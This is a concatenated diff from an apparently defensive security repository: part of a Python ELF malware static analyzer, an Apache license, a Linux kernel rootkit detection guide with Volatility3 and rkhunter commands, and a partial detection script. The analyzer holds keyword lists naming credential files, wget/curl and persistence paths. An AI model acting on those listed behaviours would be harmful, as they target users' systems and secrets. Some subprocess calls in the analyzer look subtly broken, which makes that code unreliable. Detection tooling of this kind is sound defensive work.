if any(proto in s_lower for proto in ["http://", "https://", "ftp://"]):
|
||||
categorized["urls"].append(s)
|
||||
if any(p in s_lower for p in ["stratum", "xmr", "monero", "pool.", "mining"]):
|
||||
categorized["crypto_mining"].append(s)
|
||||
if any(p in s_lower for p in ["crontab", "systemd", "init.d", "rc.local",
|
||||
"ld.so.preload", "systemctl"]):
|
||||
categorized["persistence"].append(s)
|
||||
if any(p in s_lower for p in ["ssh", "authorized_keys", "id_rsa", "shadow", "passwd"]):
|
||||
categorized["ssh_related"].append(s)
|
||||
if any(p in s_lower for p in ["bash", "wget", "curl", "chmod", "/tmp/", "/dev/"]):
|
||||
categorized["shell_commands"].append(s)
|
||||
import re
|
||||
if re.match(r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", s):
|
||||
categorized["ips"].append(s)
|
||||
if re.match(r"[a-zA-Z0-9.-]+\.(com|net|org|io|ru|cn|xyz)", s):
|
||||
categorized["domains"].append(s)
|
||||
return categorized
|
||||
|
||||
|
||||
def check_packing(filepath):
|
||||
"""Check if the binary is packed with UPX or other packers."""
|
||||
with open(filepath, "rb") as f:
|
||||
data = f.read(4096)
|
||||
indicators = []
|
||||
if b"UPX!" in data:
|
||||
indicators.append("UPX packer detected (UPX! magic)")
|
||||
if b"UPX0" in data or b"UPX1" in data:
|
||||
indicators.append("UPX section names found")
|
||||
stdout, _, _ = subprocess.run(["upx", "-t", filepath],
|
||||
capture_output=True, text=True,
|
||||
stderr=subprocess.STDOUT, timeout=120).stdout, "", 0
|
||||
if stdout and "packed" in stdout.lower():
|
||||
indicators.append("UPX verification confirms packing")
|
||||
return indicators
|
||||
|
||||
|
||||
def analyze_dynamic_linking(filepath):
|
||||
"""Analyze dynamic linking information and imported functions."""
|
||||
stdout, _, rc = subprocess.run(["readelf", "-d", filepath],
|
||||
capture_output=True, text=True, timeout=120).stdout, "", 0
|
||||
dynamic_info = {"libraries": [], "rpath": None}
|
||||
if stdout:
|
||||
for line in stdout.splitlines():
|
||||
if "NEEDED" in line:
|
||||
lib = line.split("[")[-1].rstrip("]") if "[" in line else ""
|
||||
dynamic_info["libraries"].append(lib)
|
||||
if "RPATH" in line or "RUNPATH" in line:
|
||||
dynamic_info["rpath"] = line.split("[")[-1].rstrip("]")
|
||||
|
||||
readelf_proc = subprocess.run(
|
||||
["readelf", "-r", filepath],
|
||||
capture_output=True, text=True,
|
||||
timeout=120,
|
||||
)
|
||||
import re as _re
|
||||
suspicious_funcs = _re.compile(r'socket|connect|exec|fork|open|write|bind|listen|send|recv')
|
||||
stdout2 = "\n".join(
|
||||
line for line in (readelf_proc.stdout or "").splitlines()
|
||||
if suspicious_funcs.search(line)
|
||||
)
|
||||
dynamic_info["suspicious_imports"] = [
|
||||
line.strip() for line in (stdout2 or "").splitlines() if line.strip()
|
||||
]
|
||||
return dynamic_info
|
||||
|
||||
|
||||
def detect_malware_type(strings_data):
|
||||
"""Classify malware type based on extracted strings."""
|
||||
classifications = []
|
||||
if strings_data.get("crypto_mining"):
|
||||
classifications.append("Cryptominer")
|
||||
if any("flood" in s.lower() or "ddos" in s.lower()
|
||||
for s in strings_data.get("shell_commands", [])):
|
||||
classifications.append("DDoS Botnet")
|
||||
if strings_data.get("ssh_related") and strings_data.get("persistence"):
|
||||
classifications.append("Backdoor/Trojan")
|
||||
if any("insmod" in s or "modprobe" in s or "init_module" in s
|
||||
for s in strings_data.get("shell_commands", [])):
|
||||
classifications.append("Rootkit")
|
||||
if any("ransom" in s.lower() or "encrypt" in s.lower() or "bitcoin" in s.lower()
|
||||
for cat in strings_data.values() if isinstance(cat, list) for s in cat):
|
||||
classifications.append("Ransomware")
|
||||
return classifications or ["Unknown"]
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("=" * 60)
|
||||
print("Linux ELF Malware Analysis Agent")
|
||||
print("Static analysis with pyelftools, strings, readelf")
|
||||
print("=" * 60)
|
||||
|
||||
target = sys.argv[1] if len(sys.argv) > 1 else None
|
||||
|
||||
if target and os.path.exists(target):
|
||||
print(f"\n[*] Analyzing: {target}")
|
||||
print(f"[*] Size: {os.path.getsize(target)} bytes")
|
||||
|
||||
hashes = compute_hashes(target)
|
||||
print(f"[*] MD5: {hashes['md5']}")
|
||||
print(f"[*] SHA256: {hashes['sha256']}")
|
||||
|
||||
elf_info = analyze_elf_header(target)
|
||||
print(f"\n--- ELF Header ---")
|
||||
for k, v in elf_info.items():
|
||||
print(f" {k}: {v}")
|
||||
|
||||
packing = check_packing(target)
|
||||
if packing:
|
||||
for p in packing:
|
||||
print(f"[!] {p}")
|
||||
|
||||
sections = analyze_sections(target)
|
||||
high_ent = [s for s in sections if s.get("high_entropy")]
|
||||
if high_ent:
|
||||
print(f"\n[!] High entropy sections (possible packing/encryption):")
|
||||
for s in high_ent:
|
||||
print(f" {s['name']}: entropy={s['entropy']}, size={s['size']}")
|
||||
|
||||
strings_data = extract_strings(target)
|
||||
print(f"\n--- Strings Analysis ({strings_data.get('total', 0)} total) ---")
|
||||
for category in ["urls", "ips", "domains", "crypto_mining", "persistence", "ssh_related"]:
|
||||
items = strings_data.get(category, [])
|
||||
if items:
|
||||
print(f" {category}: {len(items)}")
|
||||
for item in items[:5]:
|
||||
print(f" - {item}")
|
||||
|
||||
classification = detect_malware_type(strings_data)
|
||||
print(f"\n[*] Classification: {', '.join(classification)}")
|
||||
else:
|
||||
print(f"\n[DEMO] Usage: python agent.py <elf_binary>")
|
||||
print("[*] Provide a Linux ELF binary for analysis.")
|
||||
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,139 @@
|
||||
---
|
||||
name: analyzing-linux-kernel-rootkits
|
||||
description: Detect kernel-level rootkits in Linux memory dumps using Volatility3
|
||||
linux plugins (check_syscall, lsmod, hidden_modules), rkhunter system scanning,
|
||||
and /proc vs /sys discrepancy analysis to identify hooked syscalls, hidden kernel
|
||||
modules, and tampered system structures.
|
||||
domain: cybersecurity
|
||||
subdomain: digital-forensics
|
||||
tags:
|
||||
- rootkit
|
||||
- linux
|
||||
- kernel
|
||||
- volatility3
|
||||
- memory-forensics
|
||||
- malware-analysis
|
||||
- rkhunter
|
||||
- forensics
|
||||
version: '1.0'
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- RS.AN-03
|
||||
- DE.AE-02
|
||||
- RS.MA-01
|
||||
mitre_attack:
|
||||
- T1014
|
||||
- T1547.006
|
||||
- T1564.001
|
||||
---
|
||||
|
||||
# Analyzing Linux Kernel Rootkits
|
||||
|
||||
## Overview
|
||||
|
||||
Linux kernel rootkits operate at ring 0, modifying kernel data structures to hide processes, files, network connections, and kernel modules from userspace tools. Detection requires either memory forensics (analyzing physical memory dumps with Volatility3) or cross-view analysis (comparing /proc, /sys, and kernel data structures for inconsistencies). This skill covers using Volatility3 Linux plugins to detect syscall table hooks, hidden kernel modules, and modified function pointers, supplemented by live system scanning with rkhunter and chkrootkit.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When investigating security incidents that require analyzing linux kernel rootkits
|
||||
- When building detection rules or threat hunting queries for this domain
|
||||
- When SOC analysts need structured procedures for this analysis type
|
||||
- When validating security monitoring coverage for related attack techniques
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Volatility3 installed (pip install volatility3)
|
||||
- Linux memory dump (acquired via LiME, AVML, or /proc/kcore)
|
||||
- Volatility3 Linux symbol table (ISF) matching the target kernel version
|
||||
- rkhunter and chkrootkit for live system scanning
|
||||
- Reference known-good kernel image for comparison
|
||||
|
||||
## Steps
|
||||
|
||||
### Step 1: Acquire Memory Dump
|
||||
Capture Linux physical memory using LiME kernel module or AVML for cloud instances.
|
||||
|
||||
### Step 2: Analyze with Volatility3
|
||||
Run linux.check_syscall, linux.lsmod, linux.hidden_modules, and linux.check_idt plugins to detect rootkit artifacts.
|
||||
|
||||
### Step 3: Cross-View Analysis
|
||||
Compare module lists from /proc/modules, lsmod, and /sys/module to identify modules hidden from one view but present in another.
|
||||
|
||||
### Step 4: Live System Scanning
|
||||
Run rkhunter and chkrootkit to detect known rootkit signatures, suspicious files, and modified system binaries.
|
||||
|
||||
## Expected Output
|
||||
|
||||
JSON report containing detected syscall hooks, hidden kernel modules, modified IDT entries, suspicious /proc discrepancies, and rkhunter findings.
|
||||
|
||||
## Example Output
|
||||
|
||||
```text
|
||||
$ sudo python3 rootkit_analyzer.py --memory /evidence/linux-mem.lime --profile Ubuntu2204
|
||||
|
||||
Linux Kernel Rootkit Analysis Report
|
||||
=====================================
|
||||
Memory Image: /evidence/linux-mem.lime
|
||||
Kernel Version: 5.15.0-91-generic (Ubuntu 22.04 LTS)
|
||||
Analysis Time: 2024-01-18 09:15:32 UTC
|
||||
|
||||
[+] Scanning syscall table for hooks...
|
||||
Syscall Table Base: 0xffffffff82200300
|
||||
Total syscalls checked: 449
|
||||
|
||||
HOOKED SYSCALLS DETECTED:
|
||||
┌─────────┬──────────────────┬──────────────────────┬──────────────────────┐
|
||||
│ NR │ Syscall │ Expected Address │ Current Address │
|
||||
├─────────┼──────────────────┼──────────────────────┼──────────────────────┤
|
||||
│ 0 │ sys_read │ 0xffffffff8139a0e0 │ 0xffffffffc0a12000 │
|
||||
│ 2 │ sys_open │ 0xffffffff8139b340 │ 0xffffffffc0a12180 │
|
||||
│ 78 │ sys_getdents64 │ 0xffffffff813f5210 │ 0xffffffffc0a12300 │
|
||||
│ 62 │ sys_kill │ 0xffffffff8110c4a0 │ 0xffffffffc0a12480 │
|
||||
└─────────┴──────────────────┴──────────────────────┴──────────────────────┘
|
||||
WARNING: 4 syscall hooks detected - rootkit behavior confirmed
|
||||
|
||||
[+] Checking for hidden kernel modules...
|
||||
Loaded modules (lsmod): 147
|
||||
Modules in kobject list: 149
|
||||
HIDDEN MODULES:
|
||||
- "netfilter_helper" at 0xffffffffc0a10000 (size: 12288)
|
||||
- "kworker_sched" at 0xffffffffc0a14000 (size: 8192)
|
||||
|
||||
[+] Scanning /proc for discrepancies...
|
||||
Processes in task_struct list: 234
|
||||
Processes visible in /proc: 231
|
||||
HIDDEN PROCESSES:
|
||||
- PID 31337 cmd: "[kworker/0:3]" (disguised as kernel thread)
|
||||
- PID 31442 cmd: "rsyslogd" (fake, real rsyslogd is PID 892)
|
||||
- PID 31500 cmd: "" (unnamed process)
|
||||
|
||||
[+] Checking IDT entries...
|
||||
IDT entries scanned: 256
|
||||
Modified entries: 0 (clean)
|
||||
|
||||
[+] Running rkhunter scan...
|
||||
Checking for known rootkits: 68 variants checked
|
||||
Diamorphine rootkit: WARNING - signatures match
|
||||
System binary checks:
|
||||
/usr/bin/ps: MODIFIED (SHA-256 mismatch)
|
||||
/usr/bin/netstat: MODIFIED (SHA-256 mismatch)
|
||||
/usr/bin/ls: MODIFIED (SHA-256 mismatch)
|
||||
/usr/sbin/ss: OK
|
||||
|
||||
[+] Network analysis...
|
||||
Hidden connections (not in /proc/net/tcp):
|
||||
ESTABLISHED 0.0.0.0:0 -> 198.51.100.47:4443 (PID 31337)
|
||||
ESTABLISHED 0.0.0.0:0 -> 198.51.100.47:8080 (PID 31442)
|
||||
|
||||
Summary:
|
||||
Rootkit Type: Loadable Kernel Module (LKM)
|
||||
Probable Family: Diamorphine variant
|
||||
Syscall Hooks: 4 (read, open, getdents64, kill)
|
||||
Hidden Modules: 2
|
||||
Hidden Processes: 3
|
||||
Hidden Connections: 2 (C2: 198.51.100.47)
|
||||
Modified Binaries: 3 (/usr/bin/ps, netstat, ls)
|
||||
Risk Level: CRITICAL
|
||||
```
|
||||
@@ -0,0 +1,92 @@
|
||||
# API Reference: Analyzing Linux Kernel Rootkits
|
||||
|
||||
## Volatility3 Linux Plugins
|
||||
|
||||
```bash
|
||||
# Check syscall table for hooks
|
||||
vol -f memory.lime linux.check_syscall.Check_syscall
|
||||
|
||||
# List loaded kernel modules
|
||||
vol -f memory.lime linux.lsmod.Lsmod
|
||||
|
||||
# Detect hidden kernel modules
|
||||
vol -f memory.lime linux.hidden_modules.Hidden_modules
|
||||
|
||||
# Check IDT for hooks
|
||||
vol -f memory.lime linux.check_idt.Check_idt
|
||||
|
||||
# List processes (detect hidden)
|
||||
vol -f memory.lime linux.pslist.PsList
|
||||
vol -f memory.lime linux.pstree.PsTree
|
||||
|
||||
# Check for modified cred structures
|
||||
vol -f memory.lime linux.check_creds.Check_creds
|
||||
|
||||
# Network connections
|
||||
vol -f memory.lime linux.sockstat.Sockstat
|
||||
|
||||
# JSON output
|
||||
vol -f memory.lime linux.check_syscall.Check_syscall -r json > syscalls.json
|
||||
```
|
||||
|
||||
## Memory Acquisition Tools
|
||||
|
||||
| Tool | Command | Use Case |
|
||||
|------|---------|----------|
|
||||
| LiME | `insmod lime.ko "path=/tmp/mem.lime format=lime"` | Linux kernel module |
|
||||
| AVML | `avml /tmp/memory.raw` | Azure/cloud instances |
|
||||
| /proc/kcore | `dd if=/proc/kcore of=mem.raw` | Quick (partial) dump |
|
||||
|
||||
## Volatility3 Symbol Tables (ISF)
|
||||
|
||||
```bash
|
||||
# Generate ISF from running kernel
|
||||
vol -f memory.lime banners.Banners
|
||||
# Download matching ISF from:
|
||||
# https://github.com/volatilityfoundation/volatility3#symbol-tables
|
||||
```
|
||||
|
||||
## rkhunter Commands
|
||||
|
||||
```bash
|
||||
# Full system scan
|
||||
rkhunter --check --skip-keypress --report-warnings-only
|
||||
|
||||
# Update signatures
|
||||
rkhunter --update
|
||||
|
||||
# Check specific tests
|
||||
rkhunter --check --enable rootkits,trojans,os_specific
|
||||
|
||||
# Output to log file
|
||||
rkhunter --check --logfile /var/log/rkhunter.log
|
||||
```
|
||||
|
||||
## Known Linux Rootkits Detected
|
||||
|
||||
| Rootkit | Technique | Volatility Plugin |
|
||||
|---------|-----------|-------------------|
|
||||
| Diamorphine | Hidden module + syscall hook | check_syscall, hidden_modules |
|
||||
| Reptile | Syscall hook + port knocking | check_syscall |
|
||||
| KBeast | Syscall hook + /proc hiding | check_syscall, hidden_modules |
|
||||
| Adore-ng | VFS hook + hidden files | lsmod, check_syscall |
|
||||
| Jynx2 | LD_PRELOAD userspace | pslist (parent check) |
|
||||
|
||||
## Cross-View Detection
|
||||
|
||||
```bash
|
||||
# Compare /proc/modules vs /sys/module
|
||||
diff <(cat /proc/modules | awk '{print $1}' | sort) \
|
||||
<(ls /sys/module/ | sort)
|
||||
|
||||
# Check for hidden processes
|
||||
diff <(ls /proc/ | grep -E '^[0-9]+$' | sort -n) \
|
||||
<(ps -eo pid --no-headers | sort -n)
|
||||
```
|
||||
|
||||
### References
|
||||
|
||||
- Volatility3 Linux Plugins: https://volatility3.readthedocs.io/en/latest/volatility3.plugins.linux.html
|
||||
- LiME: https://github.com/504ensicsLabs/LiME
|
||||
- rkhunter: http://rkhunter.sourceforge.net/
|
||||
- MITRE T1014 Rootkit: https://attack.mitre.org/techniques/T1014/
|
||||
@@ -0,0 +1,176 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Linux Kernel Rootkit Detection Agent - analyzes memory dumps with Volatility3 and live system with rkhunter."""
|
||||
|
||||
import json
|
||||
import argparse
|
||||
import logging
|
||||
import subprocess
|
||||
import os
|
||||
from datetime import datetime
|
||||
|
||||
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def run_vol3_plugin(memory_dump, plugin, isf_url=None):
|
||||
"""Run a Volatility3 Linux plugin and return parsed output."""
|
||||
cmd = ["vol", "-f", memory_dump, plugin, "-r", "json"]
|
||||
if isf_url:
|
||||
cmd.extend(["--isf", isf_url])
|
||||
result = subprocess.run(cmd, capture_output=True, text=True, timeout=600)
|
||||
try:
|
||||
return json.loads(result.stdout) if result.stdout else []
|
||||
except json.JSONDecodeError:
|
||||
logger.error("Volatility3 %s output parse failed", plugin)
|
||||
return []
|
||||
|
||||
|
||||
def check_syscall_hooks(memory_dump, isf_url=None):
|
||||
"""Detect hooked system calls using linux.check_syscall."""
|
||||
results = run_vol3_plugin(memory_dump, "linux.check_syscall.Check_syscall", isf_url)
|
||||
hooked = []
|
||||
for entry in results:
|
||||
row = entry.get("__children", [entry]) if isinstance(entry, dict) else [entry]
|
||||
for item in row:
|
||||
symbol = item.get("Symbol", item.get("symbol", ""))
|
||||
module = item.get("Module", item.get("module", ""))
|
||||
if module and module != "kernel":
|
||||
hooked.append({
|
||||
"syscall_number": item.get("Index", item.get("index", "")),
|
||||
"expected_handler": symbol,
|
||||
"actual_module": module,
|
||||
"severity": "critical",
|
||||
"indicator": "syscall_hook",
|
||||
})
|
||||
return hooked
|
||||
|
||||
|
||||
def detect_hidden_modules(memory_dump, isf_url=None):
|
||||
"""Detect hidden kernel modules using cross-view analysis."""
|
||||
lsmod_results = run_vol3_plugin(memory_dump, "linux.lsmod.Lsmod", isf_url)
|
||||
hidden_results = run_vol3_plugin(memory_dump, "linux.hidden_modules.Hidden_modules", isf_url)
|
||||
lsmod_names = set()
|
||||
for entry in lsmod_results:
|
||||
name = entry.get("Name", entry.get("name", ""))
|
||||
if name:
|
||||
lsmod_names.add(name)
|
||||
hidden = []
|
||||
for entry in hidden_results:
|
||||
name = entry.get("Name", entry.get("name", ""))
|
||||
if name:
|
||||
hidden.append({
|
||||
"module_name": name,
|
||||
"in_lsmod": name in lsmod_names,
|
||||
"severity": "critical",
|
||||
"indicator": "hidden_kernel_module",
|
||||
"detail": f"Module '{name}' hidden from standard listing",
|
||||
})
|
||||
return hidden
|
||||
|
||||
|
||||
def check_idt_hooks(memory_dump, isf_url=None):
|
||||
"""Check Interrupt Descriptor Table for hooks."""
|
||||
results = run_vol3_plugin(memory_dump, "linux.check_idt.Check_idt", isf_url)
|
||||
hooked = []
|
||||
for entry in results:
|
||||
module = entry.get("Module", entry.get("module", ""))
|
||||
if module and module != "kernel":
|
||||
hooked.append({
|
||||
"interrupt": entry.get("Index", ""),
|
||||
"handler_module": module,
|
||||
"severity": "critical",
|
||||
"indicator": "idt_hook",
|
||||
})
|
||||
return hooked
|
||||
|
||||
|
||||
def run_rkhunter():
|
||||
"""Run rkhunter rootkit scanner on live system."""
|
||||
cmd = ["rkhunter", "--check", "--skip-keypress", "--report-warnings-only", "--nocolors"]
|
||||
result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
|
||||
findings = []
|
||||
for line in result.stdout.split("\n"):
|
||||
line = line.strip()
|
||||
if "Warning:" in line or "[ Warning ]" in line:
|
||||
findings.append({
|
||||
"tool": "rkhunter",
|
||||
"finding": line.replace("Warning:", "").strip(),
|
||||
"severity": "high",
|
||||
})
|
||||
return findings
|
||||
|
||||
|
||||
def check_proc_sys_discrepancy():
|
||||
"""Compare /proc/modules with /sys/module for hidden modules."""
|
||||
findings = []
|
||||
proc_modules = set()
|
||||
sys_modules = set()
|
||||
try:
|
||||
with open("/proc/modules") as f:
|
||||
for line in f:
|
||||
proc_modules.add(line.split()[0])
|
||||
except (FileNotFoundError, PermissionError):
|
||||
return findings
|
||||
try:
|
||||
sys_modules = set(os.listdir("/sys/module"))
|
||||
except (FileNotFoundError, PermissionError):
|
||||
return findings
|
||||
only_in_sys = sys_modules - proc_modules
|
||||
for mod in only_in_sys:
|
||||
if not os.path.exists(f"/sys/module/{mod}/initstate"):
|
||||
continue
|
||||
findings.append({
|
||||
"module": mod, "indicator": "proc_sys_discrepancy",
|
||||
"severity": "high",
|
||||
"detail": f"Module '{mod}' in /sys/module but missing from /proc/modules",
|
||||
})
|
||||
return findings
|
||||
|
||||
|
||||
def generate_report(syscall_hooks, hidden_mods, idt_hooks, rkhunter_findings, proc_findings, source):
|
||||
all_findings = syscall_hooks + hidden_mods + idt_hooks + rkhunter_findings + proc_findings
|
||||
critical = sum(1 for f in all_findings if f.get("severity") == "critical")
|
||||
return {
|
||||
"timestamp": datetime.utcnow().isoformat(),
|
||||
"analysis_source": source,
|
||||
"syscall_hooks": syscall_hooks,
|
||||
"hidden_modules": hidden_mods,
|
||||
"idt_hooks": idt_hooks,
|
||||
"rkhunter_warnings": rkhunter_findings,
|
||||
"proc_sys_discrepancies": proc_findings,
|
||||
"total_findings": len(all_findings),
|
||||
"critical_findings": critical,
|
||||
"rootkit_detected": critical > 0,
|
||||
}
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Linux Kernel Rootkit Detection Agent")
|
||||
parser.add_argument("--memory-dump", help="Path to Linux memory dump for Volatility3 analysis")
|
||||
parser.add_argument("--isf-url", help="Volatility3 ISF symbol table URL")
|
||||
parser.add_argument("--live-scan", action="store_true", help="Run rkhunter + /proc analysis on live system")
|
||||
parser.add_argument("--output", default="rootkit_detection_report.json")
|
||||
args = parser.parse_args()
|
||||
|
||||
syscall_hooks, hidden_mods, idt_hooks = [], [], []
|
||||
rkhunter_findings, proc_findings = [], []
|
||||
source = "none"
|
||||
if args.memory_dump:
|
||||
source = f"memory_dump:{args.memory_dump}"
|
||||
syscall_hooks = check_syscall_hooks(args.memory_dump, args.isf_url)
|
||||
hidden_mods = detect_hidden_modules(args.memory_dump, args.isf_url)
|
||||
